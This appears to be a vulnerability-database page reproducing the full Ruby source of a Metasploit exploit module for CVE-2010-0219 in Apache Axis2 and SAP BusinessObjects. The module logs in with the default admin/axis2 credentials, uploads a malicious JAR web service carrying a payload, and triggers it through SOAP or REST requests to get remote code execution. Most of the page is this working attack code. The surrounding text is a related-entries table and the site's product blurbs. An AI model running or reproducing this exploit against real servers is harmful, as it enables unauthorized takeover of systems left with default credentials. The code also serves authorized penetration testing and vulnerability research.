Lucene search
K

Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)

🗓️ 15 Apr 2012 13:13:21Reported by Joshua Abraham <[email protected]>, Chris John RileyType 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Apache Axis2 Default Credentials
27 May 201000:00
nessus
Circl
CVE-2010-0219
14 Dec 201000:00
circl
Check Point Advisories
CA ARCserve D2D Axis2 Default Credentials Remote Code Execution (CVE-2010-0219)
8 Feb 201100:00
checkpoint_advisories
CVE
CVE-2010-0219
18 Oct 201016:00
cve
Cvelist
CVE-2010-0219
18 Oct 201016:00
cvelist
Exploit DB
Axis2 - (Authenticated) Code Execution (via REST) (Metasploit)
14 Dec 201000:00
exploitdb
Exploit DB
Axis2 / SAP BusinessObjects - (Authenticated) Code Execution (via SOAP) (Metasploit)
14 Dec 201000:00
exploitdb
Metasploit
Apache Axis2 Brute Force Utility
28 May 201419:31
metasploit
Nuclei
Apache Axis2 Default Login
8 Jun 202604:09
nuclei
NVD
CVE-2010-0219
18 Oct 201017:00
nvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
      'Description'     => %q{
        This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
        and uploads and executes commands via deploying a malicious web service by using SOAP.
      },
      'References'      =>
        [
          # General
          [ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
          [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
          [ 'CVE', '2010-0219' ],
          [ 'OSVDB', '68662' ]
        ],
      'Platform'        => %w{ java linux win }, # others?
      'Targets'         =>
        [
          [ 'Java', {
                'Arch' => ARCH_JAVA,
                'Platform' => 'java'
              },
          ],
          #
          # Platform specific targets only
          #
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [ 'Linux X86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => '2010-12-30',
      'Author'          =>
        [
          'Joshua Abraham <jabra[at]rapid7.com>', # original module
          'Chris John Riley' # modifications
        ],
      'License'         => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ true, 'The username to authenticate as','admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username','axis2' ]),
        OptString.new('PATH', [ true,  "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
      ])
    register_autofilter_ports([ 8080 ])
  end

  def upload_exec(session,rpath)
    contents=''
    name = Rex::Text.rand_text_alpha(8)

    # We must register this file early, that way the on_new_session method
    # won't miss it if FileDropper's cleanup routine kicks in.
    register_file_for_cleanup("webapps#{rpath}/WEB-INF/services/#{name}.jar")

    services_xml = %Q{
<service name="#{name}" scope="application">
  <description>
    #{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
  </description>
  <messageReceivers>
    <messageReceiver
      mep="http://www.w3.org/2004/08/wsdl/in-only"
      class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
    <messageReceiver
      mep="http://www.w3.org/2004/08/wsdl/in-out"
      class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
  </messageReceivers>
  <parameter name="ServiceClass">
    metasploit.PayloadServlet
  </parameter>
</service>
}
    if target.name =~ /Java/
      zip = payload.encoded_jar
      zip.add_file("META-INF/services.xml", services_xml)

      # We need this class as a wrapper to run in a thread.  For some reason
      # the Payload class is giving illegal access exceptions without it.
      servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
      zip.add_file("metasploit/PayloadServlet.class", servlet)

      contents = zip.pack
    end

    boundary = rand_text_alphanumeric(6)

    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
    data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}--"

    res = send_request_raw({
      'uri'     => "#{rpath}/axis2-admin/upload",
      'method'  => 'POST',
      'data'    => data,
      'headers' =>
        {
          'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
          'Cookie' => "JSESSIONID=#{session}",
        }
    }, 25)

    if (res and res.code == 200)
      print_good("Successfully uploaded")
    else
      print_error("Error uploading #{res}")
      return
    end
=begin
  res = send_request_raw({
    'uri'	 => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
    'method'	 => 'GET',
    'headers' =>
    {
      'Cookie' => "JSESSIONID=#{session}",
      }
    }, 25)
  puts res.body
  puts res.code
  if res.code > 200 and res.code < 300
    if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
      dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
      puts dir
    else
      if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
        dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
        puts dir
      end
    end
  end
=end

    print_status("Polling to see if the service is ready")

    res_rest = send_request_raw({
      'uri'	  => "#{rpath}/services",
      'method'	 => 'GET',
    }, 25)

    soapenv='http://schemas.xmlsoap.org/soap/envelope/'
    xmlns='http://session.dsws.businessobjects.com/2007/06/01'
    xsi='http://www.w3.org/2001/XMLSchema-instance'

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<soapenv:Envelope xmlns:soapenv="' +	 soapenv + '"  xmlns:ns="' + xmlns + '">' + "\r\n"
    data << '<soapenv:Header/>' + "\r\n"
    data << '<soapenv:Body>' + "\r\n"
    data << '<soapenv:run/>' + "\r\n"
    data << '</soapenv:Body>' + "\r\n"
    data << '</soapenv:Envelope>' + "\r\n\r\n"

    begin
      p = /Please enable REST/
      catch :stop do
        1.upto 5 do
          Rex::ThreadSafe.sleep(3)

          if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
            # Try to execute the payload
            res = send_request_raw({
              'uri'	  => "#{rpath}/services/#{name}",
              'method'  => 'POST',
              'data'	  => data,
              'headers' =>
                {
                  'Content-Length' => data.length,
                  'SOAPAction'     => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
                  'Content-Type'   => 'text/xml; charset=UTF-8',
                }
            }, 15)
          else
            ## rest
            res = send_request_raw({
              'uri'     => "#{rpath}/services/#{name}/run",
              'method'  => 'GET',
              'headers' =>
              {
                'cookie' => "jsessionid=#{session}",
              }
            }, 25)

            if not (res.code > 200 and res.code < 300)
              ## rest alternative path (use altres as a 200 is returned regardless)
              altres = send_request_raw({
                'uri'	  => "#{rpath}/rest/#{name}/run",
                'method'  => 'GET',
                'headers' =>
                {
                  'cookie' => "jsessionid=#{session}",
                }
              }, 25)
            end
          end

          if res and res.code > 200 and res.code < 300
            throw :stop # exit loop
          elsif res and res.code == 401
            if (res.headers['WWW-Authenticate'])
              authmsg = res.headers['WWW-Authenticate']
            end
            print_error("The remote server responded expecting authentication")
            if authmsg
              print_error("WWW-Authenticate: %s" % authmsg)
            end
            raise ::Rex::ConnectionError
            throw :stop # exit loop
          end
        end
      end
    rescue ::Rex::ConnectionError
      print_error("http://#{rhost}:#{rport}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})")
    end
  end

  def exploit
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    rpath = normalize_uri(datastore['PATH'])

    success = false
    srvhdr = '?'
    begin
      res = send_request_cgi(
        {
          'method' => 'POST',
          'uri'    => normalize_uri(rpath, '/axis2-admin/login'),
          'ctype'  => 'application/x-www-form-urlencoded',
          'data'   => "userName=#{user}&password=#{pass}&submit=+Login+",
        }, 25)

        if not (res.kind_of? Rex::Proto::Http::Response)
          print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
        end

        if res.code == 404
          print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
        end

        srvhdr = res.headers['Server']
        if res.code == 200
          # Could go with res.headers["Server"] =~ /Apache-Coyote/i
          # as well but that seems like an element someone's more
          # likely to change

          success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
          if res.get_cookies =~ /JSESSIONID=(.*);/
            session = $1
          end
        end

    rescue ::Rex::ConnectionError
      print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
    end


    if not success and not rpath =~ /dswsbobje/
      rpath = '/dswsbobje'
      begin
        res = send_request_cgi(
          {
            'method' => 'POST',
            'uri'    => normalize_uri(rpath, '/axis2-admin/login'),
            'ctype'  => 'application/x-www-form-urlencoded',
            'data'   => "userName=#{user}&password=#{pass}&submit=+Login+",
          }, 25)

        if not (res.kind_of? Rex::Proto::Http::Response)
          print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
        end

        if res.code == 404
          print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
        end

        srvhdr = res.headers['Server']
        if res.code == 200
          # Could go with res.headers["Server"] =~ /Apache-Coyote/i
          # as well but that seems like an element someone's more
          # likely to change

          success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
          if res.get_cookies =~ /JSESSIONID=(.*);/
            session = $1
          end
        end

      rescue ::Rex::ConnectionError
        print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
      end
    end

    if success
      print_good("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
      upload_exec(session,rpath)
    else
      print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation